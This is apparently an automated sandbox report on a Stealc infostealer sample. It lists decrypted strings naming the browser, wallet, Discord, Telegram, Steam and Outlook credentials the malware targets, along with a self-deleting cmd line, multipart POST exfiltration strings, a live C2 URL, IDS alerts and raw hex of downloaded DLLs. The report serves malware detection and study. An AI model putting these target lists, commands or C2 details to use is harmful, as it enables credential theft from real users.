Source: 0.2.file.exe.a30000.0.unpack	String decryptor: Local Extension Settings
Source: 0.2.file.exe.a30000.0.unpack	String decryptor: Sync Extension Settings
Source: 0.2.file.exe.a30000.0.unpack	String decryptor: IndexedDB
Source: 0.2.file.exe.a30000.0.unpack	String decryptor: Opera Stable
Source: 0.2.file.exe.a30000.0.unpack	String decryptor: Opera GX Stable
Source: 0.2.file.exe.a30000.0.unpack	String decryptor: CURRENT
Source: 0.2.file.exe.a30000.0.unpack	String decryptor: chrome-extension_
Source: 0.2.file.exe.a30000.0.unpack	String decryptor: _0.indexeddb.leveldb
Source: 0.2.file.exe.a30000.0.unpack	String decryptor: Local State
Source: 0.2.file.exe.a30000.0.unpack	String decryptor: profiles.ini
Source: 0.2.file.exe.a30000.0.unpack	String decryptor: chrome
Source: 0.2.file.exe.a30000.0.unpack	String decryptor: opera
Source: 0.2.file.exe.a30000.0.unpack	String decryptor: firefox
Source: 0.2.file.exe.a30000.0.unpack	String decryptor: wallets
Source: 0.2.file.exe.a30000.0.unpack	String decryptor: %08lX%04lX%lu
Source: 0.2.file.exe.a30000.0.unpack	String decryptor: SOFTWARE\Microsoft\Windows NT\CurrentVersion
Source: 0.2.file.exe.a30000.0.unpack	String decryptor: ProductName
Source: 0.2.file.exe.a30000.0.unpack	String decryptor: x32
Source: 0.2.file.exe.a30000.0.unpack	String decryptor: x64
Source: 0.2.file.exe.a30000.0.unpack	String decryptor: %d/%d/%d %d:%d:%d
Source: 0.2.file.exe.a30000.0.unpack	String decryptor: HARDWARE\DESCRIPTION\System\CentralProcessor\0
Source: 0.2.file.exe.a30000.0.unpack	String decryptor: ProcessorNameString
Source: 0.2.file.exe.a30000.0.unpack	String decryptor: SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall
Source: 0.2.file.exe.a30000.0.unpack	String decryptor: DisplayName
Source: 0.2.file.exe.a30000.0.unpack	String decryptor: DisplayVersion
Source: 0.2.file.exe.a30000.0.unpack	String decryptor: Network Info:
Source: 0.2.file.exe.a30000.0.unpack	String decryptor: - IP: IP?
Source: 0.2.file.exe.a30000.0.unpack	String decryptor: - Country: ISO?
Source: 0.2.file.exe.a30000.0.unpack	String decryptor: System Summary:
Source: 0.2.file.exe.a30000.0.unpack	String decryptor: - HWID:
Source: 0.2.file.exe.a30000.0.unpack	String decryptor: - OS:
Source: 0.2.file.exe.a30000.0.unpack	String decryptor: - Architecture:
Source: 0.2.file.exe.a30000.0.unpack	String decryptor: - UserName:
Source: 0.2.file.exe.a30000.0.unpack	String decryptor: - Computer Name:
Source: 0.2.file.exe.a30000.0.unpack	String decryptor: - Local Time:
Source: 0.2.file.exe.a30000.0.unpack	String decryptor: - UTC:
Source: 0.2.file.exe.a30000.0.unpack	String decryptor: - Language:
Source: 0.2.file.exe.a30000.0.unpack	String decryptor: - Keyboards:
Source: 0.2.file.exe.a30000.0.unpack	String decryptor: - Laptop:
Source: 0.2.file.exe.a30000.0.unpack	String decryptor: - Running Path:
Source: 0.2.file.exe.a30000.0.unpack	String decryptor: - CPU:
Source: 0.2.file.exe.a30000.0.unpack	String decryptor: - Threads:
Source: 0.2.file.exe.a30000.0.unpack	String decryptor: - Cores:
Source: 0.2.file.exe.a30000.0.unpack	String decryptor: - RAM:
Source: 0.2.file.exe.a30000.0.unpack	String decryptor: - Display Resolution:
Source: 0.2.file.exe.a30000.0.unpack	String decryptor: - GPU:
Source: 0.2.file.exe.a30000.0.unpack	String decryptor: User Agents:
Source: 0.2.file.exe.a30000.0.unpack	String decryptor: Installed Apps:
Source: 0.2.file.exe.a30000.0.unpack	String decryptor: All Users:
Source: 0.2.file.exe.a30000.0.unpack	String decryptor: Current User:
Source: 0.2.file.exe.a30000.0.unpack	String decryptor: Process List:
Source: 0.2.file.exe.a30000.0.unpack	String decryptor: system_info.txt
Source: 0.2.file.exe.a30000.0.unpack	String decryptor: freebl3.dll
Source: 0.2.file.exe.a30000.0.unpack	String decryptor: mozglue.dll
Source: 0.2.file.exe.a30000.0.unpack	String decryptor: msvcp140.dll
Source: 0.2.file.exe.a30000.0.unpack	String decryptor: nss3.dll
Source: 0.2.file.exe.a30000.0.unpack	String decryptor: softokn3.dll
Source: 0.2.file.exe.a30000.0.unpack	String decryptor: vcruntime140.dll
Source: 0.2.file.exe.a30000.0.unpack	String decryptor: \Temp\
Source: 0.2.file.exe.a30000.0.unpack	String decryptor: .exe
Source: 0.2.file.exe.a30000.0.unpack	String decryptor: runas
Source: 0.2.file.exe.a30000.0.unpack	String decryptor: open
Source: 0.2.file.exe.a30000.0.unpack	String decryptor: /c start
Source: 0.2.file.exe.a30000.0.unpack	String decryptor: %DESKTOP%
Source: 0.2.file.exe.a30000.0.unpack	String decryptor: %APPDATA%
Source: 0.2.file.exe.a30000.0.unpack	String decryptor: %LOCALAPPDATA%
Source: 0.2.file.exe.a30000.0.unpack	String decryptor: %USERPROFILE%
Source: 0.2.file.exe.a30000.0.unpack	String decryptor: %DOCUMENTS%
Source: 0.2.file.exe.a30000.0.unpack	String decryptor: %PROGRAMFILES%
Source: 0.2.file.exe.a30000.0.unpack	String decryptor: %PROGRAMFILES_86%
Source: 0.2.file.exe.a30000.0.unpack	String decryptor: %RECENT%
Source: 0.2.file.exe.a30000.0.unpack	String decryptor: *.lnk
Source: 0.2.file.exe.a30000.0.unpack	String decryptor: files
Source: 0.2.file.exe.a30000.0.unpack	String decryptor: \discord\
Source: 0.2.file.exe.a30000.0.unpack	String decryptor: \Local Storage\leveldb\CURRENT
Source: 0.2.file.exe.a30000.0.unpack	String decryptor: \Local Storage\leveldb
Source: 0.2.file.exe.a30000.0.unpack	String decryptor: \Telegram Desktop\
Source: 0.2.file.exe.a30000.0.unpack	String decryptor: key_datas
Source: 0.2.file.exe.a30000.0.unpack	String decryptor: D877F783D5D3EF8C*
Source: 0.2.file.exe.a30000.0.unpack	String decryptor: map*
Source: 0.2.file.exe.a30000.0.unpack	String decryptor: A7FDF864FBC10B77*
Source: 0.2.file.exe.a30000.0.unpack	String decryptor: A92DAA6EA6F891F2*
Source: 0.2.file.exe.a30000.0.unpack	String decryptor: F8806DD0C461824F*
Source: 0.2.file.exe.a30000.0.unpack	String decryptor: Telegram
Source: 0.2.file.exe.a30000.0.unpack	String decryptor: Tox
Source: 0.2.file.exe.a30000.0.unpack	String decryptor: *.tox
Source: 0.2.file.exe.a30000.0.unpack	String decryptor: *.ini
Source: 0.2.file.exe.a30000.0.unpack	String decryptor: Password
Source: 0.2.file.exe.a30000.0.unpack	String decryptor: Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\
Source: 0.2.file.exe.a30000.0.unpack	String decryptor: Software\Microsoft\Office\13.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\
Source: 0.2.file.exe.a30000.0.unpack	String decryptor: Software\Microsoft\Office\14.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\
Source: 0.2.file.exe.a30000.0.unpack	String decryptor: Software\Microsoft\Office\15.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\
Source: 0.2.file.exe.a30000.0.unpack	String decryptor: Software\Microsoft\Office\16.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\
Source: 0.2.file.exe.a30000.0.unpack	String decryptor: oftware\Microsoft\Windows Messaging Subsystem\Profiles\9375CFF0413111d3B88A00104B2A6676\
Source: 0.2.file.exe.a30000.0.unpack	String decryptor: 00000001
Source: 0.2.file.exe.a30000.0.unpack	String decryptor: 00000002
Source: 0.2.file.exe.a30000.0.unpack	String decryptor: 00000003
Source: 0.2.file.exe.a30000.0.unpack	String decryptor: 00000004
Source: 0.2.file.exe.a30000.0.unpack	String decryptor: \Outlook\accounts.txt
Source: 0.2.file.exe.a30000.0.unpack	String decryptor: Pidgin
Source: 0.2.file.exe.a30000.0.unpack	String decryptor: \.purple\
Source: 0.2.file.exe.a30000.0.unpack	String decryptor: accounts.xml
Source: 0.2.file.exe.a30000.0.unpack	String decryptor: dQw4w9WgXcQ
Source: 0.2.file.exe.a30000.0.unpack	String decryptor: token:
Source: 0.2.file.exe.a30000.0.unpack	String decryptor: Software\Valve\Steam
Source: 0.2.file.exe.a30000.0.unpack	String decryptor: SteamPath
Source: 0.2.file.exe.a30000.0.unpack	String decryptor: \config\
Source: 0.2.file.exe.a30000.0.unpack	String decryptor: ssfn*
Source: 0.2.file.exe.a30000.0.unpack	String decryptor: config.vdf
Source: 0.2.file.exe.a30000.0.unpack	String decryptor: DialogConfig.vdf
Source: 0.2.file.exe.a30000.0.unpack	String decryptor: DialogConfigOverlay*.vdf
Source: 0.2.file.exe.a30000.0.unpack	String decryptor: libraryfolders.vdf
Source: 0.2.file.exe.a30000.0.unpack	String decryptor: loginusers.vdf
Source: 0.2.file.exe.a30000.0.unpack	String decryptor: \Steam\
Source: 0.2.file.exe.a30000.0.unpack	String decryptor: sqlite3.dll
Source: 0.2.file.exe.a30000.0.unpack	String decryptor: browsers
Source: 0.2.file.exe.a30000.0.unpack	String decryptor: done
Source: 0.2.file.exe.a30000.0.unpack	String decryptor: soft
Source: 0.2.file.exe.a30000.0.unpack	String decryptor: \Discord\tokens.txt
Source: 0.2.file.exe.a30000.0.unpack	String decryptor: /c timeout /t 5 & del /f /q "
Source: 0.2.file.exe.a30000.0.unpack	String decryptor: " & del "C:\ProgramData\*.dll"" & exit
Source: 0.2.file.exe.a30000.0.unpack	String decryptor: C:\Windows\system32\cmd.exe
Source: 0.2.file.exe.a30000.0.unpack	String decryptor: https
Source: 0.2.file.exe.a30000.0.unpack	String decryptor: Content-Type: multipart/form-data; boundary=----
Source: 0.2.file.exe.a30000.0.unpack	String decryptor: POST
Source: 0.2.file.exe.a30000.0.unpack	String decryptor: HTTP/1.1
Source: 0.2.file.exe.a30000.0.unpack	String decryptor: Content-Disposition: form-data; name="
Source: 0.2.file.exe.a30000.0.unpack	String decryptor: hwid
Source: 0.2.file.exe.a30000.0.unpack	String decryptor: build
Source: 0.2.file.exe.a30000.0.unpack	String decryptor: token
Source: 0.2.file.exe.a30000.0.unpack	String decryptor: file_name
Source: 0.2.file.exe.a30000.0.unpack	String decryptor: file
Source: 0.2.file.exe.a30000.0.unpack	String decryptor: message
Source: 0.2.file.exe.a30000.0.unpack	String decryptor: ABCDEFGHIJKLMNOPQRSTUVWXYZ1234567890
Source: 0.2.file.exe.a30000.0.unpack	String decryptor: screenshot.jpg

Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C76A9A0 PK11SDR_Decrypt,PORT_NewArena_Util,SEC_QuickDERDecodeItem_Util,PORT_FreeArena_Util,SECITEM_ZfreeItem_Util,PK11_GetInternalKeySlot,PK11_Authenticate,PORT_FreeArena_Util,PK11_ListFixedKeysInSlot,SECITEM_ZfreeItem_Util,PK11_FreeSymKey,PK11_FreeSymKey,PORT_FreeArena_Util,PK11_FreeSymKey,SECITEM_ZfreeItem_Util,	0_2_6C76A9A0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C764440 PK11_PrivDecrypt,	0_2_6C764440
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C734420 SECKEY_DestroyEncryptedPrivateKeyInfo,memset,PORT_FreeArena_Util,SECITEM_ZfreeItem_Util,SECITEM_ZfreeItem_Util,SECITEM_ZfreeItem_Util,free,	0_2_6C734420
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C7644C0 PK11_PubEncrypt,	0_2_6C7644C0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C7B25B0 PK11_Encrypt,memcpy,PR_SetError,PK11_Encrypt,	0_2_6C7B25B0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C748670 PK11_ExportEncryptedPrivKeyInfo,	0_2_6C748670
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C76A650 PK11SDR_Encrypt,PORT_NewArena_Util,PK11_GetInternalKeySlot,PK11_Authenticate,SECITEM_ZfreeItem_Util,TlsGetValue,EnterCriticalSection,PR_Unlock,PK11_CreateContextBySymKey,PK11_GetBlockSize,PORT_Alloc_Util,memcpy,SECITEM_ZfreeItem_Util,PORT_FreeArena_Util,SECITEM_ZfreeItem_Util,PK11_FreeSymKey,PORT_ArenaAlloc_Util,PK11_CipherOp,SEC_ASN1EncodeItem_Util,SECITEM_ZfreeItem_Util,PORT_FreeArena_Util,PK11_DestroyContext,	0_2_6C76A650
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C74E6E0 PK11_AEADOp,TlsGetValue,EnterCriticalSection,PORT_Alloc_Util,PK11_Encrypt,PORT_Alloc_Util,memcpy,memcpy,PR_SetError,PR_SetError,PR_Unlock,PR_SetError,PR_Unlock,PK11_Decrypt,PR_GetCurrentThread,PK11_Decrypt,PK11_Encrypt,memcpy,memcpy,PR_SetError,free,	0_2_6C74E6E0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C78A730 SEC_PKCS12AddCertAndKey,PORT_ArenaMark_Util,PORT_ArenaMark_Util,PK11_FindKeyByAnyCert,SECKEY_DestroyPrivateKey,PORT_ArenaAlloc_Util,PR_SetError,PR_SetError,PK11_GetInternalKeySlot,PK11_FindKeyByAnyCert,SECKEY_DestroyPrivateKey,PORT_ArenaAlloc_Util,SECKEY_DestroyEncryptedPrivateKeyInfo,strlen,PR_SetError,PORT_FreeArena_Util,PORT_FreeArena_Util,PORT_ArenaAlloc_Util,PR_SetError,	0_2_6C78A730
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C790180 SECMIME_DecryptionAllowed,SECOID_GetAlgorithmTag_Util,	0_2_6C790180
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C7643B0 PK11_PubEncryptPKCS1,PR_SetError,	0_2_6C7643B0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C787C00 SEC_PKCS12DecoderImportBags,PR_SetError,NSS_OptionGet,CERT_DestroyCertificate,SECITEM_ZfreeItem_Util,PR_SetError,SECKEY_DestroyPublicKey,SECITEM_ZfreeItem_Util,PR_SetError,SECKEY_DestroyPublicKey,SECITEM_ZfreeItem_Util,PR_SetError,SECOID_FindOID_Util,SECITEM_ZfreeItem_Util,SECKEY_DestroyPublicKey,SECOID_GetAlgorithmTag_Util,SECITEM_CopyItem_Util,PK11_ImportEncryptedPrivateKeyInfoAndReturnKey,SECITEM_ZfreeItem_Util,SECKEY_DestroyPublicKey,PK11_ImportPublicKey,SECOID_FindOID_Util,	0_2_6C787C00
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C747D60 PK11_ImportEncryptedPrivateKeyInfoAndReturnKey,SECOID_FindOID_Util,SECOID_FindOIDByTag_Util,PK11_PBEKeyGen,PK11_GetPadMechanism,PK11_UnwrapPrivKey,PK11_FreeSymKey,SECITEM_ZfreeItem_Util,PK11_PBEKeyGen,SECITEM_ZfreeItem_Util,PK11_FreeSymKey,PK11_ImportPublicKey,SECKEY_DestroyPublicKey,	0_2_6C747D60

Source: file.exe

Static PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: unknown

HTTPS traffic detected: 23.1.237.91:443 -> 192.168.2.5:50020 version: TLS 1.0

Source: unknown	HTTPS traffic detected: 13.107.246.45:443 -> 192.168.2.5:49705 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 20.12.23.50:443 -> 192.168.2.5:49728 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 184.28.90.27:443 -> 192.168.2.5:49756 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 184.28.90.27:443 -> 192.168.2.5:49772 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 40.126.32.140:443 -> 192.168.2.5:49846 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 40.126.32.140:443 -> 192.168.2.5:49863 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 20.12.23.50:443 -> 192.168.2.5:50080 version: TLS 1.2

Source:	Binary string: mozglue.pdbP source: file.exe, 00000000.00000002.2643313763.000000006F87D000.00000002.00000001.01000000.00000015.sdmp, mozglue[1].dll.0.dr
Source:	Binary string: freebl3.pdb source: freebl3[1].dll.0.dr, freebl3.dll.0.dr
Source:	Binary string: freebl3.pdbp source: freebl3[1].dll.0.dr, freebl3.dll.0.dr
Source:	Binary string: nss3.pdb@ source: file.exe, 00000000.00000002.2642639724.000000006C83F000.00000002.00000001.01000000.00000014.sdmp, nss3.dll.0.dr, nss3[1].dll.0.dr
Source:	Binary string: my_library.pdbU source: file.exe, 00000000.00000002.2612006536.0000000000A5C000.00000040.00000001.01000000.00000003.sdmp, file.exe, 00000000.00000003.2156925914.000000000501B000.00000004.00001000.00020000.00000000.sdmp, file.exe, 00000000.00000002.2642999183.000000006CFD1000.00000002.00000001.01000000.00000007.sdmp, chrome.dll.0.dr
Source:	Binary string: my_library.pdb source: file.exe, file.exe, 00000000.00000002.2612006536.0000000000A5C000.00000040.00000001.01000000.00000003.sdmp, file.exe, 00000000.00000003.2156925914.000000000501B000.00000004.00001000.00020000.00000000.sdmp, file.exe, 00000000.00000002.2642999183.000000006CFD1000.00000002.00000001.01000000.00000007.sdmp, chrome.dll.0.dr
Source:	Binary string: softokn3.pdb@ source: softokn3[1].dll.0.dr
Source:	Binary string: d:\agent\_work\1\s\binaries\x86ret\bin\i386\\vcruntime140.i386.pdb source: vcruntime140.dll.0.dr
Source:	Binary string: d:\agent\_work\1\s\binaries\x86ret\bin\i386\\msvcp140.i386.pdb source: msvcp140[1].dll.0.dr, msvcp140.dll.0.dr
Source:	Binary string: nss3.pdb source: file.exe, 00000000.00000002.2642639724.000000006C83F000.00000002.00000001.01000000.00000014.sdmp, nss3.dll.0.dr, nss3[1].dll.0.dr
Source:	Binary string: mozglue.pdb source: file.exe, 00000000.00000002.2643313763.000000006F87D000.00000002.00000001.01000000.00000015.sdmp, mozglue[1].dll.0.dr
Source:	Binary string: softokn3.pdb source: softokn3[1].dll.0.dr

Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\_locales\bg\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\html\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\images\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\_locales\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\css\	Jump to behavior

Source: chrome.exe

Memory has grown: Private usage: 11MB later: 43MB

Networking

Suricata IDS alerts for network traffic

Source: Network traffic	Suricata IDS: 2044243 - Severity 1 - ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in : 192.168.2.5:49704 -> 185.215.113.206:80
Source: Network traffic	Suricata IDS: 2044244 - Severity 1 - ET MALWARE Win32/Stealc Requesting browsers Config from C2 : 192.168.2.5:49704 -> 185.215.113.206:80
Source: Network traffic	Suricata IDS: 2044245 - Severity 1 - ET MALWARE Win32/Stealc Active C2 Responding with browsers Config : 185.215.113.206:80 -> 192.168.2.5:49704
Source: Network traffic	Suricata IDS: 2044246 - Severity 1 - ET MALWARE Win32/Stealc Requesting plugins Config from C2 : 192.168.2.5:49704 -> 185.215.113.206:80
Source: Network traffic	Suricata IDS: 2044247 - Severity 1 - ET MALWARE Win32/Stealc/Vidar Stealer Active C2 Responding with plugins Config : 185.215.113.206:80 -> 192.168.2.5:49704
Source: Network traffic	Suricata IDS: 2044248 - Severity 1 - ET MALWARE Win32/Stealc Submitting System Information to C2 : 192.168.2.5:49704 -> 185.215.113.206:80

C2 URLs / IPs found in malware configuration

Source: Malware configuration extractor	URLs: http://185.215.113.206/6c4adf523b719729.php
Source: Malware configuration extractor	URLs: http://185.215.113.206/6c4adf523b719729.php

Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKDate: Thu, 31 Oct 2024 00:18:19 GMTServer: Apache/2.4.41 (Ubuntu)Last-Modified: Mon, 05 Sep 2022 11:30:30 GMTETag: "10e436-5e7ec6832a180"Accept-Ranges: bytesContent-Length: 1106998Content-Type: application/x-msdos-programData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 12 00 d7 dd 15 63 00 92 0e 00 bf 13 00 00 e0 00 06 21 0b 01 02 19 00 26 0b 00 00 16 0d 00 00 0a 00 00 00 14 00 00 00 10 00 00 00 40 0b 00 00 00 e0 61 00 10 00 00 00 02 00 00 04 00 00 00 01 00 00 00 04 00 00 00 00 00 00 00 00 30 0f 00 00 06 00 00 1c 3a 11 00 03 00 00 00 00 00 20 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 d0 0c 00 88 2a 00 00 00 00 0d 00 d0 0c 00 00 00 30 0d 00 a8 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 0d 00 18 3c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 04 20 0d 00 18 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0c 02 0d 00 d0 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 84 25 0b 00 00 10 00 00 00 26 0b 00 00 06 00 00 00 00 00 00 00 00 00 00 00 00 00 00 60 00 50 60 2e 64 61 74 61 00 00 00 7c 27 00 00 00 40 0b 00 00 28 00 00 00 2c 0b 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 60 c0 2e 72 64 61 74 61 00 00 70 44 01 00 00 70 0b 00 00 46 01 00 00 54 0b 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 60 40 2e 62 73 73 00 00 00 00 28 08 00 00 00 c0 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 60 c0 2e 65 64 61 74 61 00 00 88 2a 00 00 00 d0 0c 00 00 2c 00 00 00 9a 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 30 40 2e 69 64 61 74 61 00 00 d0 0c 00 00 00 00 0d 00 00 0e 00 00 00 c6 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 30 c0 2e 43 52 54 00 00 00 00 2c 00 00 00 00 10 0d 00 00 02 00 00 00 d4 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 30 c0 2e 74 6c 73 00 00 00 00 20 00 00 00 00 20 0d 00 00 02 00 00 00 d6 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 30 c0 2e 72 73 72 63 00 00 00 a8 04 00 00 00 30 0d 00 00 06 00 00 00 d8 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 30 c0 2e 72 65 6c 6f 63 00 00 18 3c 00 00 00 40 0d 00 00 3e 00 00 00 de 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 30 42 2f 34 00 00 00 00 00 00 38 05 00 00 00 80 0d 00 00 06 00 00 00 1c 0d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 40 42 2f 31 39 00 00 00 00 00 52 c8 00 00 00 90 0d 00 00 ca 00 00 00 22 0d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 10 42 2f 33 31 00 00 00 00 00 5d 27 00 00 00 60 0e 00 00 28 00 00 00 ec 0d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 10 42 2f 34 35 00 00 00 00 00 9a 2d 00 00 00 90 0e 00 00
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKDate: Thu, 31 Oct 2024 00:18:51 GMTServer: Apache/2.4.41 (Ubuntu)Last-Modified: Mon, 05 Sep 2022 07:49:08 GMTETag: "a7550-5e7e950876500"Accept-Ranges: bytesContent-Length: 685392Content-Type: application/x-msdos-programData Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 06 00 f3 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 0e 08 00 00 34 02 00 00 00 00 00 70 12 08 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 d0 0a 00 00 04 00 00 cb fd 0a 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 48 1c 0a 00 53 00 00 00 9b 1c 0a 00 c8 00 00 00 00 90 0a 00 78 03 00 00 00 00 00 00 00 00 00 00 00 46 0a 00 50 2f 00 00 00 a0 0a 00 f0 23 00 00 94 16 0a 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 20 08 00 a0 00 00 00 00 00 00 00 00 00 00 00 a4 1e 0a 00 40 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 95 0c 08 00 00 10 00 00 00 0e 08 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 64 61 74 61 00 00 c4 06 02 00 00 20 08 00 00 08 02 00 00 12 08 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 3c 46 00 00 00 30 0a 00 00 02 00 00 00 1a 0a 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 30 30 63 66 67 00 00 04 00 00 00 00 80 0a 00 00 02 00 00 00 1c 0a 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 73 72 63 00 00 00 78 03 00 00 00 90 0a 00 00 04 00 00 00 1e 0a 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 f0 23 00 00 00 a0 0a 00 00 24 00 00 00 22 0a 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0
